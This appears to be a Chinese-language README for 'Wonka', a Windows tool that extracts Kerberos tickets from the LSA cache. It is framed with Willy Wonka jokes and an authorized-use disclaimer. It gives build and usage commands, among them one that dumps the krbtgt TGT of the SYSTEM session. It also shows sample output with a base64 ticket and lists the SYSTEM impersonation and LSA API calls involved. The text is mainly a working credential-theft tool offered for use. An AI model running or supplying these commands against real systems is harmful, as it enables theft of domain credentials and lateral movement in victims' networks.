“我们是音乐创作者,也是梦想的编织者。” —— 威利·旺卡
Wonka 是一款面向 Windows 的甜蜜工具,用于从本地安全机构(LSA)缓存中提取 Kerberos 票据。就像找到一张门票,但用于安全研究和渗透测试!🎫
选项 1:构建单个可执行文件(推荐)
dotnet publish -c Release -r win-x64 --self-contained true /p:PublishSingleFile=true
选项 2:简单构建
dotnet build --configuration Release
.\Wonka.exe <list|dump> [/luid:<luid>] [/service:<name>]
运行
.\Wonka.exe而不带任何参数(或使用-h)会显示帮助信息——你必须显式传入dump或list才能执行操作。
Wonka 会根据其运行时的权限进行调整:
/luid和/service仅适用于 dump 模式的过滤器;与list结合使用会被拒绝。
# Show help (also shown when run with no arguments)
.\Wonka.exe -h
# Dump every accessible ticket (all sessions if elevated, otherwise just yours)
.\Wonka.exe dump
# Just enumerate who has tickets, without pulling the blobs (admin)
.\Wonka.exe list
# Pull a single krbtgt ticket (TGT) for one logon session
.\Wonka.exe dump /luid:0x3e7 /service:krbtgt
Starting Kerberos ticket extraction process...
[+] Running with administrative privileges
[+] Successfully impersonated as SYSTEM
[+] Logon sessions found: 15
[+] User: [email protected]
[+] LogonId: 0x3e7 | Tickets found: 3
-----------------------------------------------------------------------
Username = charlie.bucket
DnsDomainName = chocolate.factory
StartTime ---> 10/21/2025 10:30:15 AM
EndTime ---> 10/21/2025 8:30:15 PM
Server Name ---> krbtgt/CHOCOLATE.FACTORY
Ticket b64 ---> YIIFgjCCBX6gAwIBBaEDAgEWooIEhjCCBIJhggR+MII...
-----------------------------------------------------------------------
在
list模式下,输出完全相同,只是省略了Ticket b64/EncType行——你得到的是元数据,而无需提取可用的票据数据。
Wonka/
├── Program.cs # CLI parsing + ticket extraction logic
├── Winapi.cs # Windows API definitions
└── Wonka.csproj # Project file
OpenProcessToken / DuplicateTokenEx / ImpersonateLoggedOnUser / RevertToSelf - SYSTEM 模拟(管理员路径)LsaRegisterLogonProcess - 特权 LSA 注册(管理员路径)LsaConnectUntrusted - 用于当前用户的非特权 LSA 连接(标准用户路径)LsaEnumerateLogonSessions - 会话枚举LsaCallAuthenticationPackage - Kerberos 通信提升权限(管理员):
LsaRegisterLogonProcess)/luid / /service 的票据)list 模式下仅输出元数据)标准用户:
LsaConnectUntrusted)——无需模拟{0,0})| 问题 | 解决方案 |
|---|---|
| "Could not impersonate as SYSTEM" | 以管理员身份运行(或以标准用户身份运行,仅转储你自己的票据) |
| "Could not initialize LSA" | 检查 Windows 兼容性 |
| "No tickets found" | 确保正在使用 Kerberos(klist) |
“偶尔来点小疯狂,最明智的人也会喜欢。”
此工具仅用于授权的安全研究和测试。就像 Wonka 的工厂一样,只有获得许可才能进入!🏭
请负责任地使用:
为需要像 Wonka 巧克力一样“甜蜜”地提取 Kerberos 票据的安全专业人员而创建。请记住:能力越大,责任越大!
“在疲惫的世界里,善行闪耀如光。” 🌟
| 命令 | 作用 |
|---|
.\Wonka.exe (无参数) | 显示帮助。 |
.\Wonka.exe dump | 提取每个可访问会话的票据(base64)。 |
.\Wonka.exe list | 仅列出用户和票据元数据——不提取 base64。 |
.\Wonka.exe dump /luid:<luid> | 仅转储具有给定 LUID 的会话(十六进制 0x3e7 或十进制 999)。 |
.\Wonka.exe dump /service:<name> | 仅转储服务器名称包含 <name> 的票据(例如 krbtgt、cifs/host.domain)。 |
.\Wonka.exe dump /luid:0x3e7 /service:krbtgt | 组合过滤器以转储单个票据。 |
.\Wonka.exe -h | 显示帮助。 |